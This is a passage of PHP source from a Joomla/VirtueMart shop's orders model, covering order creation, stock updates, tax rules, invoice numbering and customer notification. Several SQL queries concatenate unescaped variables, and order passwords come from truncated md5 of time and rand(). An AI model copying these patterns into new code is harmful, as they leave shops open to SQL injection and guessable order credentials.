$_prices['salesPriceShipment'] Total // // Payment: // $_prices['paymentValue'] w/out tax // $_prices['paymentTax'] Tax // $_prices['paymentDiscount'] Discount // $_prices['salesPricePayment'] Total $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = $_usr->get('id'); $_orderData->virtuemart_vendor_id = $_cart->vendorId; $_orderData->customer_number = $_cart->customer_number; //Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed. //The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses. //the saved order should be an snapshot with plain data written in it. // $_orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderData->order_total = $_prices['billTotal']; $_orderData->order_salesPrice = $_prices['salesPrice']; $_orderData->order_billTaxAmount = $_prices['billTaxAmount']; $_orderData->order_billDiscountAmount = $_prices['billDiscountAmount']; $_orderData->order_discountAmount = $_prices['discountAmount']; $_orderData->order_subtotal = $_prices['priceWithoutTax']; $_orderData->order_tax = $_prices['taxAmount']; $_orderData->order_shipment = $_prices['shipmentValue']; $_orderData->order_shipment_tax = $_prices['shipmentTax']; $_orderData->order_payment = $_prices['paymentValue']; $_orderData->order_payment_tax = $_prices['paymentTax']; if (!empty($_cart->cartData['VatTax'])) { $taxes = array(); foreach($_cart->cartData['VatTax'] as $k=>$VatTax) { $taxes[$k]['virtuemart_calc_id'] = $k; $taxes[$k]['calc_name'] = $VatTax['calc_name']; $taxes[$k]['calc_value'] = $VatTax['calc_value']; $taxes[$k]['result'] = $VatTax['result']; } $_orderData->order_billTax = json_encode($taxes); } if (!empty($_cart->couponCode)) { $_orderData->coupon_code = $_cart->couponCode; $_orderData->coupon_discount = $_prices['salesPriceCoupon']; } $_orderData->order_discount = $_prices['discountAmount']; // discount order_items $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); if (isset($_cart->pricesCurrency)) { $_orderData->user_currency_id = $_cart->paymentCurrency ;//$this->getCurrencyIsoCode($_cart->pricesCurrency); $currency = CurrencyDisplay::getInstance($_orderData->user_currency_id); if($_orderData->user_currency_id != $_orderData->order_currency){ $_orderData->user_currency_rate = $currency->convertCurrencyTo($_orderData->user_currency_id ,1.0,false); } else { $_orderData->user_currency_rate=1.0; } } $_orderData->virtuemart_paymentmethod_id = $_cart->virtuemart_paymentmethod_id; $_orderData->virtuemart_shipmentmethod_id = $_cart->virtuemart_shipmentmethod_id; $_filter = JFilterInput::getInstance (array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); $_orderData->customer_note = $_filter->clean($_cart->customer_comment); $_orderData->order_language = $_cart->order_language; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserOrder',array(&$_orderData)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(empty($_orderData->order_number)){ $_orderData->order_number = $this->generateOrderNumber($_usr->get('id'),4,$_orderData->virtuemart_vendor_id); } if(empty($_orderData->order_pass)){ $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); } $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); if (!empty($_cart->couponCode)) { //set the virtuemart_order_id in the Request for 3rd party coupon components (by Seyi and Max) JRequest::setVar ( 'virtuemart_order_id', $_orderData->virtuemart_order_id ); // If a gift coupon was used, remove it now //CouponHelper::RemoveCoupon($_cart->couponCode); CouponHelper::setInUseCoupon($_cart->couponCode, true); } // the order number is saved into the session to make sure that the correct cart is emptied with the payment notification $_cart->order_number=$_orderData->order_number; $_cart->setCartIntoSession (); return $_orderID; } private function getVendorCurrencyId($vendorId){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`="'.$vendorId.'" '; $db = JFactory::getDBO(); $db->setQuery($q); $vendorCurrency = $db->loadResult(); return $vendorCurrency; // return $this->getCurrencyIsoCode($vendorCurrency); } private function getCurrencyIsoCode($vmCode){ $q = 'SELECT `currency_numeric_code` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.$vmCode.'" '; $db = JFactory::getDBO(); $db->setQuery($q); return $db->loadResult(); } /** * Write the BillTo record, and if set, the ShipTo record * * @author Oscar van Eijk * @param integer $_id Order ID * @param object $_usr User object * @param object $_cart Cart object * @return boolean True on success */ private function _writeUserInfo($_id, &$_usr, $_cart) { $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); //if(!class_exists('shopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_userFieldsModel = VmModel::getModel('userfields'); $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(!empty( $_cart->BT[$_name])){ if (is_array( $_cart->BT[$_name])) { $_userInfoData[$_name] = implode("|*|",$_cart->BT[$_name]); } else { $_userInfoData[$_name] = $_cart->BT[$_name]; } } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } if ($_cart->ST) { $_userInfoData = array(); // $_userInfoData['virtuemart_order_userinfo_id'] = null; // Reset key to make sure it doesn't get overwritten by ST $_userFieldsST = $_userFieldsModel->getUserFields('shipment' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(!empty( $_cart->ST[$_name])){ $_userInfoData[$_name] = $_cart->ST[$_name]; } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } } return true; } function handleStockAfterStatusChangedPerProduct($newState, $oldState,$tableOrderItems, $quantity) { if($newState == $oldState) return; // $StatutWhiteList = array('P','C','X','R','S','N'); $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_orderstates` '); $StatutWhiteList = $db->loadAssocList('order_status_code'); // new product is statut N $StatutWhiteList['N'] = Array ( 'order_status_id' => 0 , 'order_status_code' => 'N' , 'order_stock_handle' => 'A'); if(!array_key_exists($oldState,$StatutWhiteList) or !array_key_exists($newState,$StatutWhiteList)) { vmError('The workflow for '.$newState.' or '.$oldState.' is unknown, take a look on model/orders function handleStockAfterStatusChanged','Can\'t process workflow, contact the shopowner. Status is'.$newState); return ; } //vmdebug( 'updatestock qt :' , $quantity.' id :'.$productId); // P Pending // C Confirmed // X Cancelled // R Refunded // S Shipped // N New or coming from cart // TO have no product setted as ordered when added to cart simply delete 'P' FROM array Reserved // don't set same values in the 2 arrays !!! // stockOut is in normal case shipped product //order_stock_handle // 'A' : stock Available // 'O' : stock Out // 'R' : stock reserved // the status decreasing real stock ? // $stockOut = array('S'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'O') $isOut = 1; else $isOut = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'O') $wasOut = 1; else $wasOut = 0; // $isOut = in_array($newState, $stockOut); // $wasOut= in_array($oldState, $stockOut); // Stock change ? if ($isOut && !$wasOut) $product_in_stock = '-'; else if ($wasOut && !$isOut ) $product_in_stock = '+'; else $product_in_stock = '='; // the status increasing reserved stock(virtual Stock = product_in_stock - product_ordered) // $Reserved = array('P','C'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'R') $isReserved = 1; else $isReserved = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'R') $wasReserved = 1; else $wasReserved = 0; // $isReserved = in_array($newState, $Reserved); // $wasReserved = in_array($oldState, $Reserved); // reserved stock must be change(all ordered product) if ($isReserved && !$wasReserved ) $product_ordered = '+'; else if (!$isReserved && $wasReserved ) $product_ordered = '-'; else $product_ordered = '='; //Here trigger plgVmGetProductStockToUpdateByCustom $productModel = VmModel::getModel('product'); if (!empty($tableOrderItems->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $virtuemart_product_id = $tableOrderItems->virtuemart_product_id; $product_attributes = json_decode($tableOrderItems->product_attribute,true); foreach ($product_attributes as $virtuemart_customfield_id=>$param){ if ($param) { if ($productCustom = VirtueMartModelCustomfields::getProductCustomField ($virtuemart_customfield_id ) ) { if ($productCustom->field_type == "E") { //$product = self::addParam($product); if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); //vmdebug('handleStockAfterStatusChangedPerProduct ',$param); $dispatcher->trigger('plgVmGetProductStockToUpdateByCustom',array(&$tableOrderItems,$param, $productCustom)); } } } } //vmdebug('produit',$product); // we can have more then one product in case of pack // in case of child, ID must be the child ID // TO DO use $prod->amount change for packs(eg. 1 computer and 2 HDD) if (is_array($tableOrderItems)) foreach ($tableOrderItems as $prod ) $productModel->updateStockInDB($prod, $quantity,$product_in_stock,$product_ordered); else $productModel->updateStockInDB($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } else { $productModel->updateStockInDB ($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } } /** * Create the ordered item records * * @author Oscar van Eijk * @author Kohl Patrick * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderLines($_id, $_cart) { $_orderItems = $this->getTable('order_items'); // $_lineCount = 0; foreach ($_cart->products as $priceKey=>$_prod) { if (!is_int($priceKey)) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $variantmods = $calculator->parseModifier($priceKey); $row=0 ; //$product_id = (int)$priceKey; $_prod->product_attribute = ''; $product_attribute = array(); //MarkerVarMods //foreach($variantmods as $variant=>$selected){ foreach($variantmods as $selected=>$variant){ if ($selected) { if(!class_exists('VirtueMartModelCustomfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $productCustom = VirtueMartModelCustomfields::getProductCustomField ($selected ); //vmdebug('$_prod,$productCustom',$productCustom ); if ($productCustom->field_type == "E") { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); //We need something like this $product_attribute[$selected] = $productCustom->virtuemart_custom_id; //but seems we are forced to use this //$product_attribute[$selected] = $selected; if(!empty($_prod->param)){ foreach($_prod->param as $k => $plg){ if ($k == $selected){ //TODO productCartId $product_attribute[$selected] = $plg ; } } } } else { $product_attribute[$selected] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; //$product_attribute[$variant] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; } } $row++; } //if (isset($_prod->userfield )) $_prod->product_attribute .= '
        '.$_prod->userfield.' : '; $_orderItems->product_attribute = json_encode($product_attribute); //print_r($product_attribute); } else { $_orderItems->product_attribute = null ; } // TODO: add fields for the following data: // * [double] basePrice = 38.48 // * [double] basePriceVariant = 38.48 // * [double] basePriceWithTax = 42.04 // * [double] discountedPriceWithoutTax = 36.48 // * [double] priceBeforeTax = 36.48 // * [double] salesPrice = 39.85 // * [double] salesPriceTemp = 39.85 // * [double] taxAmount = 3.37 // * [double] salesPriceWithDiscount = 0 // * [double] discountAmount = 2.19 // * [double] priceWithoutTax = 36.48 // * [double] variantModification = 0 $_orderItems->virtuemart_order_item_id = null; $_orderItems->virtuemart_order_id = $_id; // $_orderItems->virtuemart_userinfo_id = 'TODO'; //$_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderItems->virtuemart_vendor_id = $_prod->virtuemart_vendor_id; $_orderItems->virtuemart_product_id = $_prod->virtuemart_product_id; $_orderItems->order_item_sku = $_prod->product_sku; $_orderItems->order_item_name = $_prod->product_name; //TODO Patrick $_orderItems->product_quantity = $_prod->quantity; $_orderItems->product_item_price = $_cart->pricesUnformatted[$priceKey]['basePrice']; $_orderItems->product_basePriceWithTax = $_cart->pricesUnformatted[$priceKey]['basePriceWithTax']; $_orderItems->product_priceWithoutTax = $_cart->pricesUnformatted[$priceKey]['priceWithoutTax']; $_orderItems->product_discountedPriceWithoutTax = $_cart->pricesUnformatted[$priceKey]['discountedPriceWithoutTax']; //$_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['taxAmount']; $_orderItems->product_final_price = $_cart->pricesUnformatted[$priceKey]['salesPrice']; $_orderItems->product_subtotal_discount = $_cart->pricesUnformatted[$priceKey]['subtotal_discount']; $_orderItems->product_subtotal_with_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_with_tax']; // $_orderItems->order_item_currency = $_prices[$_lineCount]['']; // TODO Currency $_orderItems->order_status = 'P'; if (!$_orderItems->check()) { vmError($this->getError()); return false; } // Save the record to the database if (!$_orderItems->store()) { vmError($this->getError()); return false; } $_prod->virtuemart_order_item_id = $_orderItems->virtuemart_order_item_id; // vmdebug('_createOrderLines',$_prod); $this->handleStockAfterStatusChangedPerProduct( $_orderItems->order_status,'N',$_orderItems,$_orderItems->product_quantity); } //jExit(); return true; } /** * Create the ordered item records * * @author Valerie Isaksen * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderCalcRules($order_id, $_cart) { $productKeys = array_keys($_cart->products); $calculation_kinds = array('DBTax','Tax','VatTax','DATax'); foreach($productKeys as $key){ foreach($calculation_kinds as $calculation_kind) { if(!isset($_cart->pricesUnformatted[$key][$calculation_kind])) continue; $productRules = $_cart->pricesUnformatted[$key][$calculation_kind]; foreach($productRules as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id= null; $orderCalcRules->virtuemart_calc_id= $rule[7]; $orderCalcRules->virtuemart_order_item_id = $_cart->products[$key]->virtuemart_order_item_id; $orderCalcRules->calc_rule_name = $rule[0]; $orderCalcRules->calc_amount = 0; $orderCalcRules->calc_result = 0; if ($calculation_kind == 'VatTax') { $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$key]['taxAmount']; $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule[7]]['result']; } $orderCalcRules->calc_value = $rule[1]; $orderCalcRules->calc_mathop = $rule[2]; $orderCalcRules->calc_kind = $calculation_kind; $orderCalcRules->calc_currency = $rule[4]; $orderCalcRules->calc_params = $rule[5]; $orderCalcRules->virtuemart_vendor_id = $rule[6]; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules check product rule '.$this->getError()); vmdebug('_createOrderCalcRules check product rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store product rule '.$this->getError()); vmdebug('_createOrderCalcRules store product rule '.$this->getError()); return false; } } } } $Bill_calculation_kinds=array('DBTaxRulesBill', 'taxRulesBill', 'DATaxRulesBill'); // vmdebug('_createOrderCalcRules',$_cart ); foreach($Bill_calculation_kinds as $calculation_kind) { // if(empty($_cart->cartData)){ // vmError('Cart data was empty, why?'); // if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); // $calculator = calculationHelper::getInstance(); // $_cart->cartData = $calculator->getCartData(); // } foreach($_cart->cartData[$calculation_kind] as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id= $rule['virtuemart_calc_id']; $orderCalcRules->calc_rule_name= $rule['calc_name']; $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff']; if ($calculation_kind == 'taxRulesBill' and !empty($_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result'])) { $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result']; } $orderCalcRules->calc_kind=$calculation_kind; $orderCalcRules->calc_mathop=$rule['calc_value_mathop']; $orderCalcRules->virtuemart_order_id=$order_id; $orderCalcRules->calc_params=$rule['calc_params']; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } } } if(!empty($_cart->virtuemart_paymentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['payment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'payment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['paymentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } } if(!empty($_cart->virtuemart_shipmentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['shipment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'shipment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['shipmentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } } //jExit(); return true; } /** * Update the order history * * @author Oscar van Eijk * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ public function _updateOrderHist($_id, $_status = 'P', $_notified = 0, $_comment = '') { $_orderHist = $this->getTable('order_histories'); $_orderHist->virtuemart_order_id = $_id; $_orderHist->order_status_code = $_status; //$_orderHist->date_added = date('Y-m-d G:i:s', time()); $_orderHist->customer_notified = $_notified; $_orderHist->comments = nl2br($_comment); $_orderHist->store(); } /** * Update the order item history * * @author Oscar van Eijk,kohl patrick * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ private function _updateOrderItemHist($_id, $status = 'P', $notified = 1, $comment = '') { $_orderHist = $this->getTable('order_item_histories'); $_orderHist->virtuemart_order_item_id = $_id; $_orderHist->order_status_code = $status; $_orderHist->customer_notified = $notified; $_orderHist->comments = $comment; $_orderHist->store(); } /** * Generate a unique ordernumber. This is done in a similar way as VM1.1.x, although * the reason for this is unclear to me :-S * * @author Oscar van Eijk * @param integer $uid The user ID. Defaults to 0 for guests * @return string A unique ordernumber */ static public function generateOrderNumber($uid = 0,$length=10, $virtuemart_vendor_id=1) { $db = JFactory::getDBO(); $q = 'SELECT COUNT(1) FROM #__virtuemart_orders WHERE `virtuemart_vendor_id`="'.$virtuemart_vendor_id.'"'; $db->setQuery($q); //We can use that here, because the order_number is free to set, the invoice_number must often follow special rules $count = $db->loadResult(); $count = $count + (int)VM_ORDER_OFFSET; // vmdebug('my db creating ordernumber VM_ORDER_OFFSET '.VM_ORDER_OFFSET.' $count '.$count, $this->_db); // $variable_fixed=sprintf("%06s",$num_rows); $data = substr( md5( session_id().(string)time().(string)$uid ) ,0 ,$length ).'0'.$count; return $data; } /* * returns true if an invoice number has been created * returns false if an invoice number has not been created due to some configuration parameters */ function createInvoiceNumber($orderDetails, &$invoiceNumber){ $orderDetails = (array)$orderDetails; $db = JFactory::getDBO(); if(!isset($orderDetails['virtuemart_order_id'])){ vmWarn('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); vmdebug('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); } $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$orderDetails['virtuemart_order_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $result = $db->loadAssoc(); // vmdebug('my createInvoiceNumber $q '.$q,$result); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); if(!$result or empty($result['invoice_number']) ){ $data['virtuemart_order_id'] = $orderDetails['virtuemart_order_id']; $data['order_status'] = $orderDetails['order_status']; $data['virtuemart_vendor_id'] = $orderDetails['virtuemart_vendor_id']; JPluginHelper::importPlugin('vmshopper'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); // plugin returns invoice number, 0 if it does not want an invoice number to be created by Vm $plg_datas = $dispatcher->trigger('plgVmOnUserInvoice',array($orderDetails,&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(!isset($data['invoice_number']) ) { // check the default configuration $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); //for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); // florian : added if pdf invoice are enabled if ( in_array($orderDetails['order_status'],$orderstatusForInvoice) or $pdfInvoice==1 or $force_create_invoice==1 ){ $q = 'SELECT COUNT(1) FROM `#__virtuemart_invoices` WHERE `virtuemart_vendor_id`= "'.$orderDetails['virtuemart_vendor_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $count = $db->loadResult()+1; if(empty($data['invoice_number'])) { //$variable_fixed=sprintf("%05s",$num_rows); $date = date("Y-m-d"); // $date = JFactory::getDate()->toMySQL(); $data['invoice_number'] = str_replace('-', '', substr($date,2,8)).substr(md5($orderDetails['order_number'].$orderDetails['order_status']),0,3).'0'.$count; } } else { return false; } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); $invoiceNumber= array($table->invoice_number,$table->created_on); } elseif (ShopFunctions::InvoiceNumberReserved($result['invoice_number']) ) { $invoiceNumber = array($result['invoice_number'],$result['created_on']); return true; } else { $invoiceNumber = array($result['invoice_number'],$result['created_on']); } return true; } /* * @author Valérie Isaksen */ function getInvoiceNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `invoice_number` FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$virtuemart_order_id.'" '; $db->setQuery($q); return $db->loadresult(); } /** * Notifies the customer that the Order Status has been changed * * @author RolandD, Christopher Roussel, Valérie Isaksen, Max Milbers * */ private function notifyCustomer($virtuemart_order_id, $newOrderData = 0 ) { // vmdebug('notifyCustomer', $newOrderData); if (isset($newOrderData['customer_notified']) && $newOrderData['customer_notified']==0) { return true; } if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //Important, the data of the order update mails, payments and invoice should //always be in the database, so using getOrder is the right method $orderModel=VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $payment_name = $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); $order['shipmentName']=$shipment_name; $order['paymentName']=$payment_name; if($newOrderData!=0){ //We do not really need that $vars['newOrderData'] = (array)$newOrderData; } $vars['orderDetails']=$order; //$vars['includeComments'] = JRequest::getVar('customer_notified', array()); //I think this is misleading, I think it should always ask for example $vars['newOrderData']['doVendor'] directly //Using this function garantue us that it is always there. If the vendor should be informed should be done by the plugins //We may add later something to the method, defining this better $vars['url'] = 'url'; if(!isset($newOrderData['doVendor'])) $vars['doVendor'] = false; else $vars['doVendor'] = $newOrderData['doVendor']; $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vars['vendor'] = $vendor; $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; /* $path = VmConfig::get('forSale_path',0); $orderstatusForInvoice = VmConfig::get('inv_os','C'); $pdfInvoice = VmConfig::get('pdf_invoice', 1); // backwards compatible */ // florian : added if pdf invoice are enabled //if ($this->getInvoiceNumber( $order['details']['BT']->virtuemart_order_id ) ){ $invoiceNumberDate = array(); if ($orderModel->createInvoiceNumber($order['details']['BT'], $invoiceNumberDate )) { $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); // for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); //TODO we need an array of orderstatus if ( (in_array($order['details']['BT']->order_status,$orderstatusForInvoice)) or $pdfInvoice==1 or $force_create_invoice==1 ){ if (!shopFunctions::InvoiceNumberReserved($invoiceNumberDate[0])) { if(!class_exists('VirtueMartControllerInvoice')) require( JPATH_VM_SITE.DS.'controllers'.DS.'invoice.php' ); $controller = new VirtueMartControllerInvoice( array( 'model_path' => JPATH_VM_SITE.DS.'models', 'view_path' => JPATH_VM_SITE.DS.'views' )); $vars['mediaToSend'][] = $controller->getInvoicePDF($order); } } } // Send the email $res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus); if(is_object($res) or !$res){ $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND'; vmdebug('notifyCustomer function shopFunctionsF::renderMail throws JException'); $res = 0; } //We need this, to prevent that a false alert is thrown. else if ($res and $res!=-1) { $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG'; } if($res!=-1){ vmInfo( JText::_($string,false).' '.$order['details']['BT']->first_name.' '.$order['details']['BT']->last_name. ', '.$order['details']['BT']->email); } return true; } /** * Retrieve the details for an order line item. * * @author RickG * @param string $orderId Order id number * @param string $orderLineId Order line item number * @return object Object containing the order item details. */ function getOrderLineDetails($orderId, $orderLineId) { $table = $this->getTable('order_items'); if ($table->load((int)$orderLineId)) { return $table; } else { $table->reset(); $table->virtuemart_order_id = $orderId; return $table; } } /** * Save an order line item. * * @author RickG * @return boolean True of remove was successful, false otherwise */ function saveOrderLineItem($data) { $table = $this->getTable('order_items'); //Done in the table already /* $curDate = JFactory::getDate(); $data['modified_on'] = $curDate->toMySql();*/ if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLineShipment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLinePayment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } $table->bindChecknStore($data); return true; // return true; } /* *remove product from order item table *@var $virtuemart_order_id Order to clear */ function removeOrderItems ($virtuemart_order_id){ $q ='DELETE from `#__virtuemart_order_items` WHERE `virtuemart_order_id` = ' .(int) $virtuemart_order_id; $this->_db->setQuery($q); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } /** * Remove an order line item. * * @author RickG * @param string $orderLineId Order line item number * @return boolean True of remove 